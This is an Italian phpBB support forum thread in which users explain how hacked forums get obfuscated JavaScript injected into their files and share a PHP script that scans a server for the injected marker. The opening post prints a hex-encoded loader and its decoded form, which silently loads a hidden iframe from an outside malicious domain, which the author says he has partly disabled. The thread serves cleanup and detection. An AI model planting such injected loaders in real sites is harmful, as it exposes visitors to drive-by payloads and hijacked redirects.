phpBB Italia chiude!
phpBB Italia ringrazia tutti gli utenti che hanno dato fiducia al nostro progetto per ben 9 anni, e che, grazie al grande lavoro fatto da tutto lo Staff (rigorosamente a titolo gratuito), hanno portato il portale a diventare il principale punto di riferimento italiano alla piattaforma phpBB.

Purtroppo, causa motivi personali, non ho più modo di gestirlo e portarlo avanti. Il forum viene ora posto in uno stato di sola lettura, nonché un archivio storico per permettere a chiunque di fruire di tutte le discussioni trattate.

Il nuovo portale di assistenza per l'Italia di phpBB diventa phpBB-Store.it, cui ringrazio per aver deciso di portare avanti questo grande progetto.

Grazie ancora,
Carlo - Amministratore di phpBB Italia

Forum phpbb Hackerati!!??

Supporto per phpBB 3.0.x.
Pentambo
Utente
Utente
Messaggi: 65
Iscritto il: 09/11/2011, 12:29
Sesso: Maschio
Versione: 3.1.7
Server: UNIX/Linux
PHP: 5.4.45
Database: MySQL 5.5.49

Forum phpbb Hackerati!!??

Messaggio da Pentambo » 05/10/2013, 20:33

Improvvisamente il tuo forum impazzisce, continui redirect, segnalato su Google come sito malevolo, non riesci più ad accedere alla lista utenti, queste sono solo alcune delle conseguenze che si riscontrano in un forum HACKERATO dai soliti "SPAM HACKER", ovvero coloro che usano i siti in cui riescono a infilare codice javascript offuscato.

Restiamo in tema con i forum in PHPBB, tutti coloro che non lo sanno si chiederanno ma come fanno????

1) Si iscrivono e noi li attiviamo
2) Sfruttano le debolezze di altri siti con cui noi condividiamo la macchina server
3) Sono dei mostri in informatica e riescono a trovare bug anche nei forum con le ultime versioni aggiornate ( al 80% colpa delle varie MOD ).

Una volta che riescono ad avere accesso come AMMINISTRATORI ( root ) a tutti i vostri file inseriscono codice in JAVASCRIPT offuscato ovvero trasformato da semplice testo in esadecimale, il perché è molto semplice gli antivirus leggono il testo e non prendono in considerazione un comando offuscato, inoltre ad un occhio poco attento o pratico il codice può sembrare qualcosa di "NORMALE" e quindi non ci si allerta.

Voglio ora condividere con voi questa mia piccola conoscenza che mi sono fatto negli ultimi 2 anni, ogni qualvolta mi ritrovavo con un forum o un sito bucato e bloccato da Google.

Quello che vedete sotto è il codice offuscato in javascript:

Codice: Seleziona tutto

<!--81a338--><script type="text/javascript" language="javascript" >cygwm=;cuel=window;gxill=(1)?"0x":"123";vegwi=(5-3-1);try{--(document["body"])}catch(swufs){dmol=false;try{}catch(azbyw){dmol=21;}
if(1){qzj="17:5d:6c:65:5a:6b:60:66:65:17:5a:6e:6a:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:5a:6e:6a:27:30:1f:20:32:4:1:74:4:1:74"[cygwm](":");}cuel=qzj;qpg=[];for(ikl=22-20-2;-ikl+1391!=0;ikl+=1){nib=ikl;if((0x19==031))qpg+=String.fromCharCode(eval(gxill+cuel[1*nib])+0xa-vegwi);}hddrmg=eval;if(Math.ceil(5.5)===6)hddrmg(qpg)}</script><!--/81a338-->
Ho cancellato buona parte del codice per renderlo innocuo, ma quello che vedete vi da l'idea di come e cosa eventualmente cercare è facilmente individuabile in quanto il codice al 90% è racchiuso tra questi due tag:

<!--81a338--><!--/81a338-->

Fin dall'inizio si può benissimo notare che il codice è un comando in javascript, il corpo del codice è sempre uguale ma differenziare da un altro solo per il modo in cui viene dato lo spazio tra un numero e l'altro, in questo caso vediamo ( : ) due punti in altri casi viene codificato anche quello e vedremmo ( Zq ).

Ed ecco come si mostra il codice in chiaro:

Codice: Seleziona tutto

<!--81a338--><script type="text/javascript" language="javascript" > function z09 {
 var static='ajax';
 var controller='index.php';
 var z = document.createElement('iframe');

 z.src = [color=#FF0000]'http://oghynem.net/abd.php'[/color];
 z.style.position = 'absolute';
 z.style.color = '5';
 z.style.height = '5px';
 z.style.width = '5px';
 z.style.left = '10005';
 z.style.top = '10005';

 if (!document.getElementById('z')) {
 document.write('<p id=\'z\' class=\'z09\' ></p>');
 document.getElementById('z').appendChild(z);
 }
}
function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" +path : ");
}
function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55)else{SetCookie('visited_uq', '55', '1', '/');

z09();
}
}</script><!--/81a338-->
Anche qui ho reso il codice inservibile, come potete notare all'inizio troviamo subito i comandi per un controllo ogni volta che si apre la pagina dove il codice si trova controlla se quel IP si era già collegato nel caso la risposta sia NO all'ora parte l'apertura in un iframe che collega all'indirizzo che vedete in rosso ad un file dove si trovano altri comandi, i quali sono sostanzialmente due in primis:

1) cercare di scaricare una webshell nel sito in modo da avere accesso garantito in futuro.
2) effetturare redirect " pubblicitario" a un qualsiasi sito

E si perché lo scopo principale di questi SPAMMER HACKER è quello di guadagnare soldi con la pubblicità, la maggior parte di questi personaggi non sono altro che distinti signori che lavorano nel campo del MARKETING e conoscono molto bene l'informatica o di solito si appoggiano a buoni informatici che sappiano bucare.
Dopo aver contattato migliaia di aziende in tutti i settori promettono milioni di visite UNIVOCHE in pochissimo tempo, logicamente dietro a un congruo compenso, l'unica via è quella di forzare le visite facendo diventare i siti di cui riescono a prendere il controllo dei siti ZOMBI da cui reindirizzare il maggior numero possibile di visitatori.

Nella mia piccola esperienza ho trovato siti tedeschi che vendevano pompe ad immersione, siti americani che vendevano esche vive per la pesca, siti italiani che vendevano funghi lascio a voi immaginare il resto.

La mia personale piccola soddisfazione è che conoscendo il codice lo individuo più velocemente cosi posso ripulire i file, nel caso non avessi fatto un backup preventivo, e inoltre avvertire le DITTE e metterle a conoscenza che hanno pagato un IMBROGLIONE per poter ricevere visite.

Mi auguro che questo mio piccolo TUTORIAL possa essere di aiuto a tutti voi nel controllo dei vostri Forum o Siti.

Gianni Caraci

Avatar utente
Micogian
Leader Programmatori
Leader Programmatori
Messaggi: 3704
Iscritto il: 07/01/2010, 8:51
Versione: 3.2.0
Server: UNIX/Linux
PHP: 5.4.36
Database: MySQL 5.1.70-log
Località: Udine
Contatta:

Re: Forum phpbb Hackerati!!??

Messaggio da Micogian » 05/10/2013, 20:59

A me è capitato 2,3 volte, per fortuna ci siamo accorti subito.
Io credo che l'intrusione sia dovuta a qualche "exploit" che sfruttando un bug o una vulnerabilità di phpbb (o forse Coppermine) porta all'acquisizione di privilegi di Amministratore e quindi in grado di modificare i file del Server.
L'intrusione è in effetti un codice javascript ripetuto su centinaia di file, in genere index, page, e js.
Il fatto che sia sempre lo stesso codice in un certo senso è un vantaggio.
Io ho creato uno script che controlla ed elabora una lista dei file che contengono la stringa incriminata.

E' questo:

Codice: Seleziona tutto

<?php
// script che controlla la presenza di una stringa nei file php, js e html di tutte le directory del Server
// Micogian 30/05/2013
$stringa = "bf760a" ;
//$stringa = "link.php" ;
echo "La stringa " . $stringa . " &egrave; presente nei file:<br />";

function lista_directory($patch)
{
if($apri = opendir($patch))
	{
		while(false !== ($directory = readdir($apri)))
		{
		if(is_dir($patch."/".$directory))
			{
			 // Cartelle da non controllare
			if($directory !="." && $directory !=".." && $directory != "files" && $directory != "Angiospermae" && $directory != "Gymnospermae" && $directory != "Pteridophyta" && $directory != "thumbs" ) 
				{
				//echo $patch."/".$directory."<br />";
				lista_directory($patch."/".$directory);
				}
			}else{
				if(x__($directory) == "php" OR x__($directory) == "js" OR x__($directory) == "html")
				{
				//echo  $patch."/".$directory."<br />";
				$path =  $patch."/".$directory ;
				$dati=file($path);
				foreach ($dati as $num => $line)
					{
					// visualizza la lista dei file che contengono una determinata stringa
					$posizione = strpos($line, 'link.php');
					if($posizione != 0 )
						{
						echo $path. " - riga: " . $num . "<br />";
						}
					}
				}else{
					// file diversi da php, html, js
					//echo $directory."<br />";
				}
			}   
		}
	}	
}
function x__($file){
$tro = explode(".",$file);
return $tro[1];
}
lista_directory('.');
?>
Con questo file ho scoperto tutti i file corrotti che ho pulito o sostituito in breve tempo.

Avatar utente
Barrnet
Leader Moderatori
Leader Moderatori
Messaggi: 3124
Iscritto il: 04/07/2010, 23:31
Sesso: Maschio
Versione: 3.0.10
Server: UNIX/Linux
PHP: 5.3.10
Database: MySQL 5.1.61-community-log
Contatta:

Re: Forum phpbb Hackerati!!??

Messaggio da Barrnet » 05/10/2013, 21:25

PhpBB è ritenuto molto sicuro, basti pensare che la versione Gold (3.0.0) era uscito indenne da un convegno di hacker a Las Vegas.
Il fatto è che spesso le mod, anche quelle rilasciate su phpbb.com e quindi filtrate dalla rigida politica di modding di tale forum, non sono scritte con lo stesso criterio di sicurezza.
La morale è sempre quella: evitate di installare roba inutile nel vostro server: vi serve per davvero una sala giochi? Vi serve per davvero una mod che abilita l'HTML? vi serve per davvero una mod che ha tonnellate di funzioni per poi sfruttarne un solo componente? (per esempio la chat stile facebook, nel caso della Social Network phpBB).

Io sono convinto che phpBB3 fornisca quasi tutte le funzioni necessarie, le poche cose aggiuntive è meglio aggiungerle tramite mod scritte con criterio e che siano veramente piccole aggiunte, magari fatte sfruttando le API di phpBB3. Una mod che ti aggiunge l'ultima risposta nell'indice non sarà mai pericolosa, perché è una piccola modifica ad un file functions e una al template, una mod come la sala giochi conterrà invece innumerevoli falle di sicurezza: più il codice aumenta e più aumentano le occasioni di trovare una falla.

gamearcade
Utente
Utente
Messaggi: 5
Iscritto il: 24/02/2013, 11:44
Sesso: Maschio
Versione: 3.0.11
Server: UNIX/Linux
PHP: 5.1.49
Database: PHP 5.2.17 - Optimized for AlterVista
Contatta:

Re: Forum phpbb Hackerati!!??

Messaggio da gamearcade » 05/10/2013, 23:29

Micogian ha scritto:A me è capitato 2,3 volte, per fortuna ci siamo accorti subito.
Io credo che l'intrusione sia dovuta a qualche "exploit" che sfruttando un bug o una vulnerabilità di phpbb (o forse Coppermine) porta all'acquisizione di privilegi di Amministratore e quindi in grado di modificare i file del Server.
L'intrusione è in effetti un codice javascript ripetuto su centinaia di file, in genere index, page, e js.
Il fatto che sia sempre lo stesso codice in un certo senso è un vantaggio.
Io ho creato uno script che controlla ed elabora una lista dei file che contengono la stringa incriminata.

E' questo:

Codice: Seleziona tutto

<?php
// script che controlla la presenza di una stringa nei file php, js e html di tutte le directory del Server
// Micogian 30/05/2013
$stringa = "bf760a" ;
//$stringa = "link.php" ;
echo "La stringa " . $stringa . " &egrave; presente nei file:<br />";

function lista_directory($patch)
{
if($apri = opendir($patch))
	{
		while(false !== ($directory = readdir($apri)))
		{
		if(is_dir($patch."/".$directory))
			{
			 // Cartelle da non controllare
			if($directory !="." && $directory !=".." && $directory != "files" && $directory != "Angiospermae" && $directory != "Gymnospermae" && $directory != "Pteridophyta" && $directory != "thumbs" ) 
				{
				//echo $patch."/".$directory."<br />";
				lista_directory($patch."/".$directory);
				}
			}else{
				if(x__($directory) == "php" OR x__($directory) == "js" OR x__($directory) == "html")
				{
				//echo  $patch."/".$directory."<br />";
				$path =  $patch."/".$directory ;
				$dati=file($path);
				foreach ($dati as $num => $line)
					{
					// visualizza la lista dei file che contengono una determinata stringa
					$posizione = strpos($line, 'link.php');
					if($posizione != 0 )
						{
						echo $path. " - riga: " . $num . "<br />";
						}
					}
				}else{
					// file diversi da php, html, js
					//echo $directory."<br />";
				}
			}   
		}
	}	
}
function x__($file){
$tro = explode(".",$file);
return $tro[1];
}
lista_directory('.');
?>
Con questo file ho scoperto tutti i file corrotti che ho pulito o sostituito in breve tempo.

Ci puoi spiegare dove inserire questo file? si puo nominare come si vuole? e caricarlo nella root? grazie

Pentambo
Utente
Utente
Messaggi: 65
Iscritto il: 09/11/2011, 12:29
Sesso: Maschio
Versione: 3.1.7
Server: UNIX/Linux
PHP: 5.4.45
Database: MySQL 5.5.49

Re: Forum phpbb Hackerati!!??

Messaggio da Pentambo » 06/10/2013, 0:28

Micogian ha scritto:A me è capitato 2,3 volte, per fortuna ci siamo accorti subito.
Io credo che l'intrusione sia dovuta a qualche "exploit" che sfruttando un bug o una vulnerabilità di phpbb (o forse Coppermine) porta all'acquisizione di privilegi di Amministratore e quindi in grado di modificare i file del Server.
L'intrusione è in effetti un codice javascript ripetuto su centinaia di file, in genere index, page, e js.
Il fatto che sia sempre lo stesso codice in un certo senso è un vantaggio.
Io ho creato uno script che controlla ed elabora una lista dei file che contengono la stringa incriminata.

E' questo:

Codice: Seleziona tutto

<?php
// script che controlla la presenza di una stringa nei file php, js e html di tutte le directory del Server
// Micogian 30/05/2013
$stringa = "bf760a" ;
//$stringa = "link.php" ;
echo "La stringa " . $stringa . " &egrave; presente nei file:<br />";

function lista_directory($patch)
{
if($apri = opendir($patch))
	{
		while(false !== ($directory = readdir($apri)))
		{
		if(is_dir($patch."/".$directory))
			{
			 // Cartelle da non controllare
			if($directory !="." && $directory !=".." && $directory != "files" && $directory != "Angiospermae" && $directory != "Gymnospermae" && $directory != "Pteridophyta" && $directory != "thumbs" ) 
				{
				//echo $patch."/".$directory."<br />";
				lista_directory($patch."/".$directory);
				}
			}else{
				if(x__($directory) == "php" OR x__($directory) == "js" OR x__($directory) == "html")
				{
				//echo  $patch."/".$directory."<br />";
				$path =  $patch."/".$directory ;
				$dati=file($path);
				foreach ($dati as $num => $line)
					{
					// visualizza la lista dei file che contengono una determinata stringa
					$posizione = strpos($line, 'link.php');
					if($posizione != 0 )
						{
						echo $path. " - riga: " . $num . "<br />";
						}
					}
				}else{
					// file diversi da php, html, js
					//echo $directory."<br />";
				}
			}   
		}
	}	
}
function x__($file){
$tro = explode(".",$file);
return $tro[1];
}
lista_directory('.');
?>
Con questo file ho scoperto tutti i file corrotti che ho pulito o sostituito in breve tempo.

Ottimo lo proverò senz'altro, oltre a sostituire la parola da ricercare bisogna settare anche le dir da escludere giusto e nel caso uno non voglia esludere nessuna dir???

Avatar utente
Micogian
Leader Programmatori
Leader Programmatori
Messaggi: 3704
Iscritto il: 07/01/2010, 8:51
Versione: 3.2.0
Server: UNIX/Linux
PHP: 5.4.36
Database: MySQL 5.1.70-log
Località: Udine
Contatta:

Re: Forum phpbb Hackerati!!??

Messaggio da Micogian » 06/10/2013, 9:58

Pentambo ha scritto: Ottimo lo proverò senz'altro, oltre a sostituire la parola da ricercare bisogna settare anche le dir da escludere giusto e nel caso uno non voglia esludere nessuna dir???
Basta togliere il primo IF, ma io esluderei almeno la cartella "files" che contiene solo allegati.

gamearcade
Utente
Utente
Messaggi: 5
Iscritto il: 24/02/2013, 11:44
Sesso: Maschio
Versione: 3.0.11
Server: UNIX/Linux
PHP: 5.1.49
Database: PHP 5.2.17 - Optimized for AlterVista
Contatta:

Re: Forum phpbb Hackerati!!??

Messaggio da gamearcade » 06/10/2013, 17:19

gamearcade ha scritto:Ci puoi spiegare dove inserire questo file? si puo nominare come si vuole? e caricarlo nella root? grazie
Ho nominato il file controllo.php è lo caricato nella root, quanto necessità lo lancio nel browser, il file ricerca il codice malevolo, cosi che poi si può agire ed eliminare il codice nei file annidati.

E tutto giusto quello che ho fatto è detto? :-)

Avatar utente
Micogian
Leader Programmatori
Leader Programmatori
Messaggi: 3704
Iscritto il: 07/01/2010, 8:51
Versione: 3.2.0
Server: UNIX/Linux
PHP: 5.4.36
Database: MySQL 5.1.70-log
Località: Udine
Contatta:

Re: Forum phpbb Hackerati!!??

Messaggio da Micogian » 06/10/2013, 19:46

Si, e non è detto che questo si debba utilizzare solo per trovare i file con un codice malevolo, se vogliamo lo possiamo usare per trovare una stringa, una variabile, in sostanza qualsiasi cosa che sia all'interno dei file.

gamearcade
Utente
Utente
Messaggi: 5
Iscritto il: 24/02/2013, 11:44
Sesso: Maschio
Versione: 3.0.11
Server: UNIX/Linux
PHP: 5.1.49
Database: PHP 5.2.17 - Optimized for AlterVista
Contatta:

Re: Forum phpbb Hackerati!!??

Messaggio da gamearcade » 07/10/2013, 2:08

Micogian ha scritto:Si, e non è detto che questo si debba utilizzare solo per trovare i file con un codice malevolo, se vogliamo lo possiamo usare per trovare una stringa, una variabile, in sostanza qualsiasi cosa che sia all'interno dei file.
Grazie.

Avatar utente
systemcrack
Utente
Utente
Messaggi: 399
Iscritto il: 15/05/2010, 22:50
Sesso: Maschio
Versione: 3.1.3
Server: UNIX/Linux
PHP: 5.2.17
Database: MySQL 5.1.49-community-log
Contatta:

Re: Forum phpbb Hackerati!!??

Messaggio da systemcrack » 08/10/2013, 15:36

Micogian ha scritto:Si, e non è detto che questo si debba utilizzare solo per trovare i file con un codice malevolo, se vogliamo lo possiamo usare per trovare una stringa, una variabile, in sostanza qualsiasi cosa che sia all'interno dei file.
Scusate se da ignorante mi inserisco nella conversazione, per altro molto interessante.. ma questo non presuppone che uno sappia cosa sta cercando.. in caso contrario.. :?:

P.s.
Anche io poco più di un anno fa subii un defacciamento della index del vecchio forum e per trovare i file toccati non ho fatto altro che andare sul account del mio provider e ho guardato la data delle ultime modifiche dei files. In questo modo ho trovato subito i files manomessi...

Rispondi

Torna a “[3.0.x] Forum di Supporto”

Chi c’è in linea

Visitano il forum: Nessuno e 12 ospiti